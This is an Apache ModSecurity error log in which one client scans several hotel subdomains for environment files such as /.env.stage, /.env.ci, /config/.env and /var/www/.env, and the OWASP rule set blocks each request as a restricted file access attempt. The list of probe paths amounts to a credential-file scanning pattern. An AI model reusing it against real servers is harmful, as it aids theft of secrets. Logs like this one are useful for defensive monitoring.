[Tue Oct 27 01:43:47.392321 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6E8kbbDK06qDUYmCotwAAAAU"]
[Tue Oct 27 01:43:47.392526 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6E8kbbDK06qDUYmCotwAAAAU"]
[Tue Oct 27 01:43:47.423531 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvwAAAAg"]
[Tue Oct 27 01:43:47.423763 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvwAAAAg"]
[Tue Oct 27 01:43:47.424060 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvwAAAAg"]
[Tue Oct 27 01:43:47.433899 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6E8kbbDK06qDUYmCouAAAAAU"]
[Tue Oct 27 01:43:47.434075 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6E8kbbDK06qDUYmCouAAAAAU"]
[Tue Oct 27 01:43:47.434295 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6E8kbbDK06qDUYmCouAAAAAU"]
[Tue Oct 27 01:43:47.440931 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auA6E8qawth2HP9RxtL-2QAAAAY"]
[Tue Oct 27 01:43:47.441103 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auA6E8qawth2HP9RxtL-2QAAAAY"]
[Tue Oct 27 01:43:47.441384 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auA6E8qawth2HP9RxtL-2QAAAAY"]
[Tue Oct 27 01:43:47.454094 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwAAAAAg"]
[Tue Oct 27 01:43:47.454237 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwAAAAAg"]
[Tue Oct 27 01:43:47.454495 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwAAAAAg"]
[Tue Oct 27 01:43:47.486121 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6E0tgBhmk9Q7hbpqXxAAAAAs"]
[Tue Oct 27 01:43:47.486280 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6E0tgBhmk9Q7hbpqXxAAAAAs"]
[Tue Oct 27 01:43:47.486559 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6E0tgBhmk9Q7hbpqXxAAAAAs"]
[Tue Oct 27 01:43:47.507284 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auA6E8qawth2HP9RxtL-2gAAAAY"]
[Tue Oct 27 01:43:47.507439 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auA6E8qawth2HP9RxtL-2gAAAAY"]
[Tue Oct 27 01:43:47.507644 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auA6E8qawth2HP9RxtL-2gAAAAY"]
[Tue Oct 27 01:43:47.510568 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6E8kbbDK06qDUYmCouQAAAAU"]
[Tue Oct 27 01:43:47.510732 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6E8kbbDK06qDUYmCouQAAAAU"]
[Tue Oct 27 01:43:47.510975 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6E8kbbDK06qDUYmCouQAAAAU"]
[Tue Oct 27 01:43:47.528404 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auA6E8qawth2HP9RxtL-2wAAAAY"]
[Tue Oct 27 01:43:47.528542 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auA6E8qawth2HP9RxtL-2wAAAAY"]
[Tue Oct 27 01:43:47.528797 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auA6E8qawth2HP9RxtL-2wAAAAY"]
[Tue Oct 27 01:43:47.552664 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6E8kbbDK06qDUYmCougAAAAU"]
[Tue Oct 27 01:43:47.552787 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6E8kbbDK06qDUYmCougAAAAU"]
[Tue Oct 27 01:43:47.553025 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6E8kbbDK06qDUYmCougAAAAU"]
[Tue Oct 27 01:43:47.572278 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6E0tgBhmk9Q7hbpqXxQAAAAs"]
[Tue Oct 27 01:43:47.572438 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6E0tgBhmk9Q7hbpqXxQAAAAs"]
[Tue Oct 27 01:43:47.572670 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6E0tgBhmk9Q7hbpqXxQAAAAs"]
[Tue Oct 27 01:43:47.584456 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6E8kbbDK06qDUYmCouwAAAAU"]
[Tue Oct 27 01:43:47.584604 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6E8kbbDK06qDUYmCouwAAAAU"]
[Tue Oct 27 01:43:47.584835 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6E8kbbDK06qDUYmCouwAAAAU"]
[Tue Oct 27 01:43:47.625149 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auA6E8qawth2HP9RxtL-3AAAAAY"]
[Tue Oct 27 01:43:47.625385 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auA6E8qawth2HP9RxtL-3AAAAAY"]
[Tue Oct 27 01:43:47.625611 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auA6E8qawth2HP9RxtL-3AAAAAY"]
[Tue Oct 27 01:43:47.712171 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6E8kbbDK06qDUYmCovAAAAAU"]
